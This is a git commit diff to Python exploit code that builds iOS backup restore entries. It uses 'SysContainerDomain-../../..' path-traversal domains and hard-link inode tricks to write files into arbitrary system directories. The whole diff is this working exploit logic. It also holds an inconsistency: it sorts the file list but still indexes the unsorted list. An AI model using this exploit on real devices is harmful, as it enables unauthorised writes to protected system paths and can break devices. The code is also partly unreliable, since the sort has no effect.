update exploit code to allow for same dir

This commit is contained in:
leminlimez
2024-09-26 11:51:38 -04:00
parent 1bf8427bcf
commit 0f234a803c

View File

@@ -17,8 +17,9 @@ def restore_files(files: list, reboot: bool = False, lockdown_client: LockdownCl
backup.Directory("Library", "RootDomain"), backup.Directory("Library", "RootDomain"),
backup.Directory("Library/Preferences", "RootDomain"), backup.Directory("Library/Preferences", "RootDomain"),
] ]
sorted_files = sorted(files)
# create the links # create the links
for file_num in range(len(files)): for file_num in range(len(sorted_files)):
files_list.append(backup.ConcreteFile( files_list.append(backup.ConcreteFile(
f"Library/Preferences/temp{file_num}", f"Library/Preferences/temp{file_num}",
"RootDomain", "RootDomain",
@@ -28,7 +29,8 @@ def restore_files(files: list, reboot: bool = False, lockdown_client: LockdownCl
inode=file_num inode=file_num
)) ))
# add the file paths # add the file paths
for file_num in range(len(files)): last_domain = ""
for file_num in range(len(sorted_files)):
file = files[file_num] file = files[file_num]
base_path = "/var/backup" base_path = "/var/backup"
# set it to work in the separate volumes (prevents a bootloop) # set it to work in the separate volumes (prevents a bootloop)
@@ -39,22 +41,26 @@ def restore_files(files: list, reboot: bool = False, lockdown_client: LockdownCl
base_path = "/private/var/mobile/backup" base_path = "/private/var/mobile/backup"
elif file.restore_path.startswith("/private/var/"): elif file.restore_path.startswith("/private/var/"):
base_path = "/private/var/backup" base_path = "/private/var/backup"
files_list.append(backup.Directory( # don't append the directory if it has already been added (restore will fail)
"", domain_path = f"SysContainerDomain-../../../../../../../..{base_path}{file.restore_path}"
f"SysContainerDomain-../../../../../../../..{base_path}{file.restore_path}", if last_domain != domain_path:
owner=file.owner, files_list.append(backup.Directory(
group=file.group "",
)) domain_path,
owner=file.owner,
group=file.group
))
last_domain = domain_path
files_list.append(backup.ConcreteFile( files_list.append(backup.ConcreteFile(
"", "",
f"SysContainerDomain-../../../../../../../..{base_path}{file.restore_path}{file.restore_name}", f"{domain_path}{file.restore_name}",
owner=file.owner, owner=file.owner,
group=file.group, group=file.group,
contents=b"", contents=b"",
inode=file_num inode=file_num
)) ))
# break the hard links # break the hard links
for file_num in range(len(files)): for file_num in range(len(sorted_files)):
files_list.append(backup.ConcreteFile( files_list.append(backup.ConcreteFile(
"", "",
f"SysContainerDomain-../../../../../../../../var/.backup.i/var/root/Library/Preferences/temp{file_num}", f"SysContainerDomain-../../../../../../../../var/.backup.i/var/root/Library/Preferences/temp{file_num}",